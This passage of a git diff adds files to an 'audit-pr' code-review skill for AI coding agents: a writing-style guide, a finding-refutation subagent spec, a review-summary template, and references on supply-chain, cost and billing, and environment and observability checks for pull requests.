Write instead | +| ------------ | ----------------------------------------- | +| `delve into` | examine, read, or name the action | +| `leverage` | use | +| `underscore` | show | +| `showcase` | show, list | +| `intricate` | name the specific complication | +| `vibrant` | delete | +| `foster` | cause, allow, or name the mechanism | +| `tapestry` | delete | +| `seamless` | state what the reader does not have to do | +| `utilize` | use | +| `facilitate` | name what it actually does | + +Do not run the table as a find-and-replace, because several entries are also ordinary technical terms and removing one would make the sentence wrong. A word stays when it names something that exists in the system: a test `harness` is a component, an OAuth `realm` is a protocol field, a library or module whose name happens to be one of these words keeps its name, and a word inside a quoted specification or error string stays as quoted. A word goes when it modifies something to make it sound larger than it is. The replacement for `seamless` is almost always a concrete negative fact, which is what makes the claim checkable. + +- Before: "The adapter leverages the connection pool to facilitate seamless failover across regions." +- After: "The adapter borrows a connection from the pool, and retries against the secondary region when the primary does not answer within two seconds. No restart or re-authentication is required of the caller." + +## Hedging that dodges commitment + +Treat a hedge as an accuracy failure first and a voice failure second. `appears to`, `seems to`, `likely`, `generally`, and `is designed to` admit a sentence to the page without evidence, so the repair is verification or deletion, never a bolder synonym. `should` is banned outright, including where it states a caller obligation, because the two readings are indistinguishable on the page. Write the obligation as a fact or an imperative instead: "the caller closes the handle before the process exits", not "callers should close the handle". + +- Before: "The worker should retry the request, and generally handles transient network errors." +- After: "The worker retries once on a connection timeout and raises on every other error class." Where the body was not read, no sentence is written and the symbol is listed as unverified in the output. + +## Prose that restates the code instead of adding to it + +Cut any sentence a reader could reconstruct from the declaration. Prose earns its place by carrying what a signature cannot: why the thing exists, what the caller owes it, what happens at the boundary, and what a value means at its limits. The exception is consumer-facing reference material, whose readers cannot open the source, so stating what the function does is the entire job. + +```python +# Restates the signature: +def set_timeout(seconds: int) -> None: + """Sets the timeout to the given number of seconds.""" + +# Adds the meaning of 0 and a boundary the caller cannot see: +def set_timeout(seconds: int) -> None: + """Bound every request opened after this call; 0 removes the bound. + A pooled connection keeps the value it held when it was created. + """ +``` + +```go +// Restates: Close closes the writer. +// Adds: Close flushes buffered rows before releasing the file handle, and +// a write after Close returns ErrClosed rather than panicking. +func (w *Writer) Close() error +``` + +Procedure: cover the prose and read only the declaration. Anything you can still answer needs no sentence. Anything you cannot answer, and can prove from the body you read this run, is the sentence to write. + +## Show, do not tell: the cited fact that earns the adjective + +Replace the adjective with the measurement, limit, or named edge case that made you reach for it. This one move is what keeps objective prose from going flat, since the fact is more informative than the adjective and it arrives with a source. For each adjective in the draft, name what you read that makes it true: a value, a count, a timeout, an error type, or a branch replaces it directly. When nothing comes to mind, the adjective was a guess, so delete it and write no replacement. + +- Before: "The connection pool is robust and the token refresh is efficient." +- After: "The pool opens at most 16 connections and blocks a caller for up to 5 seconds before raising `PoolTimeout`. A token is refreshed 60 seconds ahead of expiry, and a failed refresh returns the existing token until that expiry passes." + +## Leading with the point and letting sentence length follow content + +Put the conclusion in the first sentence of the paragraph, then the qualification and the evidence, because a paragraph that builds toward its point hides the answer from anyone skimming first lines. The section-level version of that test is to read only the first sentence under each heading, in order: if that sequence does not summarize the document, the paragraphs are ordered as narration rather than as answers. Length follows the same principle of fitting the content. A compound fact takes a compound sentence and a consequence takes a short one, while a uniform run and an audible alternation both read as a pattern imposed on the facts. Do not count words, and do not split a sentence that is doing one job. + +- Before (order): "There are several considerations when configuring the export job. Batch size interacts with memory, since the connector holds a full batch before writing. Therefore a batch above 5,000 rows risks exhausting the container limit." +- After (order): "Keep the export batch at or below 5,000 rows. The connector holds a full batch in memory before writing, so a larger batch can exhaust the container memory limit." +- Before (length): "The parser reads the header. The parser validates the checksum. The parser emits the rows." +- After (length): "The parser reads the header and validates its checksum before emitting any row. A mismatch aborts the file, so no partial output reaches the consumer." + +## Self-check for a paragraph you just wrote + +Run these over the paragraph before moving on. Every yes is an edit, not a note for later. + +1. Does the opening sentence announce, preview, or wind up, instead of stating the point? +2. Is a copula (`serves as`, `stands as`, `plays a role in`) standing in for a verb that names a behaviour? +3. Is there an adjective you cannot replace with a number, a limit, an error type, or a case you read this run? +4. Are there two or more sentence-initial connectives, or two in consecutive sentences? +5. Does a group of three come from the rhythm rather than from a count in the source? +6. Would a reader holding only the declaration learn nothing new here? +7. Does a hedge survive anywhere, including a `should` that reads as a caller obligation? +8. Is this paragraph a summary of the paragraphs above it? +9. Did you change a sentence that was already accurate? Restore it. diff --git a/.claude/skills/audit-pr/LICENSE.txt b/.claude/skills/audit-pr/LICENSE.txt new file mode 100644 index 00000000..7a0e6342 --- /dev/null +++ b/.claude/skills/audit-pr/LICENSE.txt @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021-2026 Alexander Joo-Hyun Sullivan + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.claude/skills/audit-pr/SKILL.md b/.claude/skills/audit-pr/SKILL.md index b9e22671..bf19e4b8 100644 --- a/.claude/skills/audit-pr/SKILL.md +++ b/.claude/skills/audit-pr/SKILL.md @@ -1,6 +1,7 @@ --- name: audit-pr -description: Review a pull request or working-branch diff across triaged categories and produce findings with the changed line quoted as evidence. Use when asked to review a pull request, audit a diff before merge, or give a second opinion on someone else's changes. Broader and slower than the built-in /code-review, which covers the working diff, and than /security-review, which covers security only. Body mirrors `.github/prompts/audit-pr.prompt.md` byte for byte. +description: Review a pull request or working-branch diff across eighteen triaged categories and produce findings with the changed line quoted as evidence. Use when asked to review a pull request, audit a diff before merge, or give a second opinion on someone else's changes. Broader and slower than a quick correctness pass or a security-only review, and it reports findings rather than editing files. +license: MIT argument-hint: '[pull request number or branch; defaults to the active pull request]' --- @@ -23,14 +24,25 @@ Review the diff plus whatever you must read to judge it. Reading a caller, a tes ## Context resolution -GitHub Copilot resolves the references below automatically. Any other agent resolves each one with the listed equivalent before starting. If a source is unavailable, say so in the output and continue with what is available. +Some agents resolve the references below automatically. Any agent that does not resolves each one itself, using the equivalent listed here, before starting. If a source is unavailable, say so in the output and continue with what is available. -| Reference | GitHub Copilot | Claude Code and other agents | -| -------------------- | --------------------------- | --------------------------------------- | -| `#activePullRequest` | Active pull request | `gh pr diff`, or `git diff main...HEAD` | -| `#changes` | Uncommitted working changes | `git diff` and `git diff --staged` | -| `#codebase` | Workspace index | `Glob`, `Grep`, and `Read` | -| `#issue_fetch` | Linked issue | `gh issue view ` | +| Reference | What it refers to | Resolve it yourself with | +| -------------------- | --------------------------- | ----------------------------------------------------------------------- | +| `#activePullRequest` | Active pull request | The forge's pull request command, or `git diff ...HEAD` | +| `#changes` | Uncommitted working changes | `git diff` and `git diff --staged` | +| `#codebase` | The project's own files | Your file-search and file-read tools | +| `#issue_fetch` | Linked issue | The forge's issue command, or the issue link in the description | + +## Bundled references + +Open one of these when a category the triage table activated needs its detail. Nothing here is loaded until you open it. + +- [`security-and-privacy.md`](references/security-and-privacy.md) - categories 2 and 3, organized by who each finding protects, with the OWASP baselines. +- [`supply-chain.md`](references/supply-chain.md) - category 15, including install-time execution judged by capability rather than by field name. +- [`environment-and-observability.md`](references/environment-and-observability.md) - categories 13 and 14, plus the flakiness causes they share. +- [`cost-and-billing.md`](references/cost-and-billing.md) - category 17, unbounded spend first, then the billing dimension each finding moves. +- [`finding-refuter.md`](agents/finding-refuter.md) - a subagent running section 6's refutation pass over one finding. Use it per finding when the review is large. +- [`review-summary.template.md`](assets/review-summary.template.md) - the finding block and summary shapes for section 7. ## 1. Scope and evidence rules @@ -190,7 +202,7 @@ Can a reader debug this in production without reproducing it locally? Check: a l Check every added or upgraded dependency and every lockfile entry against what the diff actually imports. Flag: a package name that does not exist, or differs by a character from the intended one, since a generated install command is the usual source; an unpinned or range-widened version on a security-relevant dependency; a source other than the project's usual registry, including a git URL or tarball; a maintainer or ownership change; a version that jumped without a changelog; a resolved URL pointing off-registry; a missing or altered integrity hash on an otherwise unchanged version. -**Install-time code execution is checked by capability, not by field name.** Lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`) are the obvious vector, but a native-build hook such as a `binding.gyp` that triggers an implicit rebuild executes code too and evades checks that read only the lifecycle-script fields. **A valid provenance attestation does not establish that a release is safe:** a compromised maintainer account can produce one. +**Install-time code execution is checked by capability, not by field name.** Declared lifecycle hooks are the obvious vector, whatever the ecosystem calls them (`preinstall`, `install`, `postinstall`, and `prepare` in npm; a build backend or `setup.py` in Python; a task that runs on dependency resolution in Gradle, Rake, or Make). But a native-build descriptor that triggers an implicit rebuild executes code too, and it evades any check that reads only the declared lifecycle fields. **A valid provenance attestation does not establish that a release is safe:** a compromised maintainer account can produce one. Extend the same reasoning to the build and CI surface: a workflow that checks out an untrusted pull request head while holding write permissions or secrets, a third-party action referenced by a mutable tag rather than an immutable commit identifier, secrets reachable from fork pull requests, a self-hosted runner exposed to forks, and editor or container configuration that executes on open, such as an autorun task or a container post-create command. Agent configuration counts: a checked-in skill, rule, or settings file can grant broad tool access to anyone who trusts the repository. diff --git a/.claude/skills/audit-pr/agents/finding-refuter.md b/.claude/skills/audit-pr/agents/finding-refuter.md new file mode 100644 index 00000000..95c4056b --- /dev/null +++ b/.claude/skills/audit-pr/agents/finding-refuter.md @@ -0,0 +1,99 @@ +--- +name: finding-refuter +description: Adversarially tries to refute a single code-review finding and returns SURVIVES, REFUTED, or PRE-EXISTING with the evidence behind each of the five refutation questions, so invoke it once per drafted finding before that finding is published. +--- + +# Finding refuter + +This agent receives one drafted code-review finding and spends its run trying to prove the finding wrong. The posture is adversarial by default: a finding is published only when all five refutation questions are answered in its favour with evidence, and a question that cannot be settled resolves to REFUTED rather than to SURVIVES. The agent does not edit files, does not apply the fix the finding proposes, and does not raise findings of its own. + +## Input and what stays out of scope + +The caller supplies one finding: the changed line quoted verbatim from the diff, the file path, the category, and the claimed problem, plus the suggested fix when the finding carries one. Everything else is this agent's work: opening the file, reading the diff, reading callers and tests, and running whatever command settles a question. A second defect noticed along the way does not enter the run, however visible it is. Return a verdict on the finding handed in and nothing else. + +## Match the quote against the added lines + +Question: is the quoted line still in the diff, spelled exactly as quoted? + +Search the added lines of the diff for the quote as a literal string, before searching the file. A quote that matches the file but not the added lines means the reviewer read the file rather than the change, which usually means question 4 fails as well. These are failures, not near matches: whitespace differing where whitespace carries meaning, a renamed identifier, a changed operator, a quote assembled from two lines that are not adjacent, and a quote normalized into prose such as "the function returns null". Reconstructed quotes are the common case, because a reviewer recalling a line rather than copying it tends to recall the version that supports the finding. + +## Read the enclosing unit and one caller + +Question: does the surrounding code already handle it? + +Reopen the file at the changed line and read outward: every guard clause above it, every branch below it to the end of the enclosing unit, and at least one caller located by searching for the symbol name. A finding about a value that cannot be null often dies at the caller, where the value is checked before the call. + +```go +func Write(dst *Buffer, chunk []byte) error { + if dst == nil || len(chunk) == 0 { + return ErrEmpty + } + dst.grow(len(chunk)) // the finding claims len(chunk) can be zero here +``` + +The guard two lines above refutes it. Quote that guard as the evidence; the conclusion on its own is not evidence. + +## Test the claimed guarantee at the point of failure + +Question: does a test, a type, a framework guarantee, or a configuration value already prevent it? Name the specific artifact and confirm it covers the failing input rather than the general area. + +- A test: does it assert the case the finding describes, and would it fail if that behaviour broke? A test that calls the function without asserting the boundary prevents nothing. +- A type: does it hold at the point where the value enters? A type refutes nothing across a deserialization boundary where the shape is asserted rather than checked, as in `payload = json.loads(body)` followed by an annotation no runtime verifies, or a cast applied to a parsed response. +- A framework guarantee: quote the documented behaviour, not the widely held belief about it. +- A configuration value: open the file that sets it, and where several files set the same key, confirm which one is read last. + +## Compare against the before-state + +Question: did this change cause it, or was it already true? + +Reconstruct the before-state from the removed lines in the same hunk, or from the file at the base revision, and ask whether the defect holds there. Presence in the diff is not proof of causation: a moved block, a reindented file, a rename applied across a file, and a formatter pass all present unchanged logic as added lines, so a line can match the quote exactly and still carry a defect the change did not introduce. + +- The defect holds only after the change: question passed. +- The defect holds before and after, and the change is what makes it reachable or wrong: question passed, and the finding states which part is pre-existing. +- The defect holds before and after with the same effect: PRE-EXISTING, with the before-state line quoted. + +PRE-EXISTING is not a gentler REFUTED. It says the claim is true and this diff is the wrong place to charge it. REFUTED says the claim does not hold. + +## Execute the fix or label it unverified + +Question: would the suggested fix actually work? + +A fix whose correctness follows from reading code is settled by reading it. A fix whose correctness depends on how a tool interprets a string is settled by running the tool, because the failure mode is silence: the file parses, the command exits zero, and nothing changes. A fix that looks right and silently does nothing is worse than no fix, since it closes the finding without changing behaviour. The cases that behave this way: + +- Ignore-file and glob semantics: whether `/build/**` anchors at the repository root or at the containing directory, and whether a trailing `/` restricts a pattern to directories. +- Configuration precedence: which of several files setting the same key wins, and whether a command-line flag overrides both. +- Shell quoting: `rm $path` against `rm "$path"` where the value contains a space or a glob character. +- Trigger filters: whether a filter listing `docs/**` fires for `docs/index.md`, for `docs/api/spec.md`, and for a file at the repository root. + +This question has three outcomes, and only the third touches the verdict. + +- Ran the tool, or read code that settles it, and the fix works: passed. +- Cannot run the tool in this session: passed, and the finding ships with the fix marked `unverified fix`. +- Ran it and the fix changes nothing: the fix is deleted. The finding survives if the claim stands without a fix; otherwise the verdict is REFUTED. + +## Verdict format and the disposition of a refuted finding + +Return one of the three templates below verbatim, with each placeholder replaced by the evidence found. + +```text +VERDICT: SURVIVES +Q1 quote: +Q2 surrounding code: +Q3 prevention: +Q4 causation: +Q5 fix: verified | unverified | none proposed, then what was run or read +``` + +```text +VERDICT: REFUTED +Failed question: <1 to 5> +Evidence: +``` + +```text +VERDICT: PRE-EXISTING +Evidence: +Reachability: +``` + +A refuted finding is deleted. It is not rewritten as a question, softened into a hedge, or demoted to a suggestion, because each of those keeps alive a claim the evidence has just defeated. Deleting findings is the expected result of this pass: a refutation run that returns SURVIVES on everything handed to it did not do the work. diff --git a/.claude/skills/audit-pr/assets/review-summary.template.md b/.claude/skills/audit-pr/assets/review-summary.template.md new file mode 100644 index 00000000..4809800a --- /dev/null +++ b/.claude/skills/audit-pr/assets/review-summary.template.md @@ -0,0 +1,128 @@ +# Review summary template + +Copy the blocks below into the review output and replace every bracketed placeholder. One finding block per finding, in severity order, then one closing summary at the end of the run. + +- [Per-finding block](#per-finding-block) +- [Worked finding examples](#worked-finding-examples) +- [Closing summary block](#closing-summary-block) +- [Choosing the verdict line](#choosing-the-verdict-line) +- [Counting the quick stats and naming skipped categories](#counting-the-quick-stats-and-naming-skipped-categories) +- [Checks to run before the summary ships](#checks-to-run-before-the-summary-ships) + +## Per-finding block + +```text +### [🔴 blocking | 🟡 should fix | 🔵 suggestion | ✅ positive] [Short title, roughly eight words or fewer] + +**File:** `[path/to/file.ext]` +**Category:** [category name, spelled as the triage table spells it] +**Changed line:** `[the line as the diff shows it, character for character]` + +**Issue:** [what is wrong]. [what can go wrong, and the input or state that triggers it]. [the rule, standard, or project convention it violates] + +**Suggested fix:** [corrected snippet or pseudocode, in the language of the file] +``` + +Filling rules that decide whether the block is usable: + +- **Changed line** is copied, not retyped: keep the indentation, the spelling, and any trailing comma. Quote one line; where the defect needs two, quote both and no more. If you cannot produce the quote, the finding does not ship. +- **Issue** answers three questions in order and stops. A sentence that only restates the quoted line adds nothing. +- **Suggested fix** is deleted, along with its blank line, for a question and for every ✅ positive. A fix you could not verify is labelled `(unverified: [what would confirm it])`. +- One defect per block. Where the same defect repeats across files, write one block and list the other paths at the end of **Issue** rather than repeating the block. +- Pre-existing code that this change makes wrong is labelled `(pre-existing)` in the title. + +## Worked finding examples + +Two filled blocks, one at each end of the severity range. + +```text +### 🟡 should fix Retry loop has no attempt ceiling + +**File:** `services/billing/sync.py` +**Category:** Error handling and resilience +**Changed line:** ` while not response.ok:` + +**Issue:** The loop repeats until the call succeeds, with no attempt cap, no backoff, and no timeout on the caller. A payment host returning 500 for a sustained period turns one user action into unbounded call volume against a metered endpoint. The other client in this package caps attempts at five. + +**Suggested fix:** + +for attempt in range(MAX_RETRIES): + response = post(url, json=payload) + if response.ok: + break + sleep(backoff(attempt)) +``` + +```text +### ✅ positive Shutdown reaches a worker blocked on a receive + +**File:** `internal/worker/pool.go` +**Category:** Concurrency and shared state +**Changed line:** ` case <-ctx.Done():` + +**Issue:** Cancellation travels through the context, so a worker parked on a channel receive returns instead of holding the pool open. Two call sites can request shutdown without racing to close the same channel, which removes the double-close panic path. +``` + +The positive block carries no **Suggested fix** line and still names a file, a category, and a quoted line. + +## Closing summary block + +```markdown +## Overall verdict: [APPROVED | APPROVED WITH SUGGESTIONS | CHANGES REQUESTED] + +### Quick stats + +- **Files reviewed:** [N] of [M] changed files +- **Findings:** [N] blocking · [N] should fix · [N] suggestions · [N] positive +- **Findings dropped in refutation:** [N] +- **Categories skipped:** [category] ([reason]); [category] ([reason]) + +### Alignment + +[One to three sentences on whether the code does what the title, description, or ticket says. Name any gap, scope creep, or unfinished piece. State where the intent came from when no ticket was reachable.] + +### Top concerns + +- [Issue that must be resolved before merge, one line each, in the order to resolve them. Write "None." when there are none.] + +### What is done well + +- [Specific pattern, with the file it appears in. Same evidence standard as any other finding: no file and no quoted line, no entry.] + +### Before merging + +- [ ] [Action item: the change to make, and where] +- [ ] [Action item] +``` + +## Choosing the verdict line + +Set the verdict from the surviving severity counts, then read it back against them. + +| Surviving findings | Verdict | +| -------------------------------------------------- | ------------------------- | +| One or more 🔴 blocking | CHANGES REQUESTED | +| No 🔴, at least one 🟡 should fix or 🔵 suggestion | APPROVED WITH SUGGESTIONS | +| Only ✅ positive, or nothing | APPROVED | + +Three ways the line goes wrong: + +- A blocking finding is reworded as a suggestion so the verdict can read APPROVED. Change the verdict, not the severity. +- A category was entered but its evidence was unavailable (a source that could not be fetched, a tool that could not run). The verdict states that limit in the same line rather than assuming the missing evidence is clean. +- The diff is too large to review with confidence. Say so on the verdict line, because it governs how much the rest of the summary is worth. + +## Counting the quick stats and naming skipped categories + +- **Files reviewed** is the number of changed files you opened. When that is lower than the number of files in the diff, both numbers appear, and the gap is explained in **Alignment** or **Top concerns**. +- **Findings** counts blocks that survived refutation. The four numbers added together equal the number of finding blocks above the summary. Recount rather than estimating. +- **Findings dropped in refutation** is the count deleted during the refutation pass. Zero is a claim that every drafted finding held up; verify it before writing it. +- **Categories skipped** names each one with its reason. "No trigger in this diff" is a complete reason. A category you entered and found nothing in was not skipped: it belongs in the body as a one-line statement that it is clear. + +## Checks to run before the summary ships + +1. No bracketed placeholder survives anywhere in the output, including inside a suggested fix. +2. Every severity count matches the blocks, and the verdict matches the counts. +3. Every quoted line still appears in the diff, spelled as quoted. +4. No ✅ block carries a suggested fix, and no 🔴 block lacks one. +5. Every **Before merging** item traces to a finding block above, and every 🔴 finding has an item. +6. No file path is cited that you did not open. diff --git a/.claude/skills/audit-pr/references/cost-and-billing.md b/.claude/skills/audit-pr/references/cost-and-billing.md new file mode 100644 index 00000000..7ccf8d0c --- /dev/null +++ b/.claude/skills/audit-pr/references/cost-and-billing.md @@ -0,0 +1,123 @@ +# Cost and billing exposure in a change review + +A cost finding names the metered dimension the change moves, quotes the changed line, and states why the project pays for that dimension at all. Unbounded spend is judged first and apart from metered increase, because the two fail differently: one grows without a ceiling while the system is already degraded, the other raises a bill in proportion to traffic. + +- [Establishing which billing dimensions this project has](#establishing-which-billing-dimensions-this-project-has) +- [Recursive triggers and whether a write re-enters its own filter](#recursive-triggers-and-whether-a-write-re-enters-its-own-filter) +- [Ceilings on retry, fan-out, and self-retriggering workflows](#ceilings-on-retry-fan-out-and-self-retriggering-workflows) +- [Metered calls driven by client behaviour](#metered-calls-driven-by-client-behaviour) +- [Naming the metered dimension in a finding](#naming-the-metered-dimension-in-a-finding) +- [Egress, bytes scanned, and build minutes need their own procedure](#egress-bytes-scanned-and-build-minutes-need-their-own-procedure) +- [Refuting a cost finding](#refuting-a-cost-finding) +- [When an optimization costs more than it saves](#when-an-optimization-costs-more-than-it-saves) + +## Establishing which billing dimensions this project has + +Read the deployment surface before reading the diff, and write down which dimensions are live. Files that settle it: the platform or deployment descriptor, a container image descriptor and whatever manifest schedules it, the continuous-integration workflow definitions together with the runner label each job requests, a static-export or pre-render setting, whether data access goes through a self-hosted database driver or a managed-service client, and whether an object store, a queue, or a scheduler appears anywhere in configuration. + +The shape decides which findings are real: + +- A site served as pre-built files bills transfer and build minutes. It has no invocation or duration dimension, so a finding about function memory is noise. +- A fixed-size container fleet has already paid for duration. Added latency there is a capacity and reliability question, not a bill, until it forces another replica. +- A per-request platform bills invocation count and duration together, so a change that splits one handler into three synchronous hops multiplies both. +- A managed database may bill per operation, per byte scanned, or not at all beyond a provisioned tier. Which one it is changes whether a query finding is about row count or about columns and partitions. + +Where the repository does not settle the shape, state the dimension as undetermined and report the finding conditionally ("if this store bills per read, this loop issues one read per row"). An assumed provider produces a confident finding about a bill that does not exist. + +## Recursive triggers and whether a write re-enters its own filter + +The check is not whether the handler writes. It is whether the write target falls inside the trigger's own filter. Run three steps: locate the filter that fires the handler, list every write the handler performs including writes inside libraries it calls, then compare each target against the filter. + +```python +# Trigger filter: object finalized under uploads/ +def on_upload(event): + thumb = make_thumbnail(event["name"]) + bucket.upload(f"uploads/thumb_{event['name']}", thumb) # re-enters the filter +``` + +The same handler writing to `derived/` does not recurse, and a reviewer who flags it without reading the filter has produced a false positive. Where the filter is a suffix or content-type match rather than a prefix, compare against that instead: a thumbnail written under a different prefix still recurses if the filter matches every object of that content type. + +For a record or document trigger that updates the row that fired it, the loop closes on the second pass unless a guard short-circuits it. Read the guard rather than accepting its presence: + +- A guard field that the trigger filter excludes from its watch stops the loop. A guard field the trigger still watches does not, because setting it fires the trigger again. +- A guard checked after the write it protects has already been bypassed once per invocation. +- A guard comparing a value the second pass also recomputes (a timestamp, a hash of mutable content) matches on neither pass and stops nothing. + +For a queue consumer, the filter is the subscription. Republishing to the topic the consumer reads from is the same defect, and it is easy to miss when the publish target is a variable resolved from configuration: follow the variable to its value before deciding. + +## Ceilings on retry, fan-out, and self-retriggering workflows + +A cap frequently lives outside the diff, in a queue subscription, a platform retry policy, or an infrastructure definition. Absence from the diff is not absence of the cap. Search the repository for the trigger or queue name, and if the policy is defined outside version control, say so rather than asserting the cap is missing. + +Three settings decide whether a retry policy is bounded: a maximum attempt count, a backoff that grows between attempts, and a destination for messages that exhaust the attempts. A policy with backoff and no attempt cap still retries forever, just more slowly. A policy with a cap and no dead-letter destination discards the payload silently, which is a data finding rather than a cost one, so report it under the category it belongs to. + +Fan-out needs a stated ceiling in the code, not in the current data. A handler that enumerates a collection and dispatches one task per item is bounded by the size of that collection, which is a number nobody guarantees. Ask what the count is at ten and a hundred times today's data, and whether a batch size or a page limit bounds it. + +A workflow that pushes, tags, or comments can retrigger itself: + +```yaml +on: [push] +jobs: + format: + steps: + - run: git commit -am "format" && git push +``` + +Guards that a provider honours: a condition on the acting identity, a path filter that excludes what the job writes, a skip token in the commit message where the provider documents it, and pushing with a credential whose events the provider does not raise. Guards that only look like guards: a concurrency group, which on most providers cancels a superseded run rather than preventing the next one, so confirm in the provider's documentation whether a cancelled run is still billed for the time it ran; a branch condition on a workflow that pushes to that same branch; and a step-level skip inside a job whose runner is already provisioned and metered. + +A budget alert notifies and does not stop spend. Only an attempt cap, a hard quota, a trigger filter, or a concurrency limit stops it, so do not accept an alert as the mitigation for anything in this section. + +## Metered calls driven by client behaviour + +Do the arithmetic before writing the finding. Interval, concurrent clients, and metered calls per tick give a per-hour figure, and a finding without one is a guess: a ten-second poll across five hundred sessions issuing one read each is 180,000 reads per hour, which is either negligible or the largest line on the bill depending on the dimension established above. + +A metered call placed behind a guard repeats when the guard compares a value that is rebuilt on every pass instead of reused: a composite value constructed inline, a closure created at the call site, or a derived value with no cached handle. Equality never holds, so the call fires each time the surrounding code runs. The check is identity, not equality, and it applies wherever a watcher, subscription, or change detector re-evaluates its condition. Confirm by instrumenting the call site and counting invocations rather than by reading, since a runtime may already deduplicate, and label the finding unverified if you cannot run the code. + +A shared cache expiry produces a synchronized burst at the metered origin. The discriminator is whether expiry is a fixed timestamp every client computes identically, or a per-key value with jitter added. A time-to-live written as a constant and applied to every entry populated by the same deploy expires as one block. State the burst size the same way as the polling case. + +## Naming the metered dimension in a finding + +Each cost finding carries one line before the explanation: the dimension, the unit billed, and the direction and rough magnitude of the change ("egress, billed per byte transferred, roughly 4x per page view"). Without it the reader cannot tell whether to act. + +| Dimension | Unit billed | Diff signal that moves it | +| ------------------ | ---------------------------- | ----------------------------------------------------------------------------- | +| Egress | bytes leaving the provider | full-size asset, compression off, no cache header, cross-region read | +| Invocations | calls | new trigger, new schedule, per-item dispatch | +| Duration | time multiplied by memory | awaited slow I/O, raised memory setting, heavier cold start | +| Query operations | reads, or bytes scanned | read per row, listener on a whole collection, unfiltered scan | +| Storage | byte-months by class | no lifecycle rule, class mismatched to access, orphaned artifacts and backups | +| Build minutes | minutes by runner multiplier | runner label, matrix width, cache removed, full suite on docs-only changes | +| Logs and telemetry | ingested volume, retention | debug line on a hot path, sampling removed, retention raised | +| Model calls | tokens in and out | larger context, added retry, identical requests uncached | + +Never write a currency amount or reprint a published rate. Rates change, a reader cannot check the number against the provider from inside the diff, and the finding is about the dimension rather than the price. A log line on a hot path is one finding, filed under cost or under observability, never both. + +## Egress, bytes scanned, and build minutes need their own procedure + +**Egress** is missed most often and is frequently the largest line, and providers differ sharply, with some not charging it at all. State which side of that the project sits on before the finding, then check what actually moves bytes: asset dimensions against displayed dimensions, compression on the response rather than on the stored file, `Cache-Control` lifetime and immutability on fingerprinted assets, payload shipped to every visitor against payload needed by the route, and any read that crosses a region boundary. For cross-region, compare the region of the caller with the region of the store, both read from configuration. + +**Per-operation database billing** can follow bytes scanned rather than rows returned, which inverts the usual reading of a query: + +```sql +SELECT * FROM events WHERE user_id = ? LIMIT 100; +``` + +The limit bounds the result set and not necessarily the scan. What reduces bytes scanned is naming the columns instead of `*` and adding a predicate on the partitioning or clustering key. Where the store bills per document read instead, the same query is cheap and the finding is wrong, so establish the model first. + +**Build minutes** carry a runner operating-system multiplier that usually makes runner choice the largest lever. Read the runner label on every job, count jobs times matrix entries, and then verify the current multiplier against the provider's published rates before any number reaches the finding. Do not assert a multiplier from memory, and do not put a multiplier in a finding you could not verify: say which runner the job requests and that the multiplier needs checking. + +## Refuting a cost finding + +Cost findings survive at a lower rate than most categories, because the bill depends on facts outside the diff. Put each through these before publishing, and drop the ones that fail rather than softening them: + +1. Is the cap, retry policy, or lifecycle rule set outside the diff, in infrastructure configuration or a console setting the repository records elsewhere? +2. Does this provider bill this dimension at all, given the deployment shape established at the start? +3. Is the path reached often enough for the cost to be real? A one-time migration, an admin-only route, and a build-time step are each bounded by something the reviewer can name. +4. Is the loop actually closed? Re-read the trigger filter against the write target, and re-read the guard for the three failure modes above. +5. Would the suggested fix change the bill? A cache header on a response already served from an included edge cache changes nothing, and a fix that looks right while moving no dimension closes the finding without fixing anything. + +## When an optimization costs more than it saves + +A cache, a queue, or another managed service arrives with a bill of its own: provisioned capacity or per-request charges, storage for the copy it holds, transfer between it and the origin, and the operations spent invalidating it. Count those before accepting the saving. A cache placed in front of a store billed per read adds a read and a write on every miss, so it pays only above a hit rate the change should state; a queue inserted to smooth a burst adds a publish, a pull, and an acknowledgement per message that previously cost one call. + +Raise this as a suggestion with the added dimensions listed, and where the hit rate or message volume cannot be determined from the repository, say which number decides it rather than asserting the direction. diff --git a/.claude/skills/audit-pr/references/environment-and-observability.md b/.claude/skills/audit-pr/references/environment-and-observability.md new file mode 100644 index 00000000..bb209552 --- /dev/null +++ b/.claude/skills/audit-pr/references/environment-and-observability.md @@ -0,0 +1,140 @@ +# Environment parity and observability + +Both lenses ask what happens to this code once it leaves the machine it was written on. Parity covers behaviour that changes between a developer machine, a hermetic or ephemeral container, and each deployed environment. Observability covers whether someone can diagnose a failure in a deployed environment without reproducing it locally. + +- [Reading a diff for parity risk](#reading-a-diff-for-parity-risk) +- [Configuration, hosts, paths, and flags](#configuration-hosts-paths-and-flags) +- [Clock, locale, and randomness](#clock-locale-and-randomness) +- [Filesystem case, separators, and container networking](#filesystem-case-separators-and-container-networking) +- [Flaky tests as parity defects](#flaky-tests-as-parity-defects) +- [Deciding whether a failure is debuggable remotely](#deciding-whether-a-failure-is-debuggable-remotely) +- [Log level, structure, and correlation](#log-level-structure-and-correlation) +- [Metrics and alerts for each new failure mode](#metrics-and-alerts-for-each-new-failure-mode) +- [Data that must not reach logs or traces](#data-that-must-not-reach-logs-or-traces) +- [Writing the finding](#writing-the-finding) + +## Reading a diff for parity risk + +For each changed line, ask which of three contexts it was written against (a developer machine, an ephemeral container in continuous integration, a deployed environment), then ask what the other two supply. A finding exists when the answer for one context is "nothing" or "something different" and the code does not detect that. Three signals are worth searching the diff for before reading it line by line: + +- reads of the process environment, and the absence of a matching entry in the example configuration file or the deployment manifest; +- string literals containing `://`, `localhost`, `127.0.0.1`, a port number, or a leading `/` or drive letter; +- any call returning the current time, a random value, or a directory listing. + +## Configuration, hosts, paths, and flags + +A read 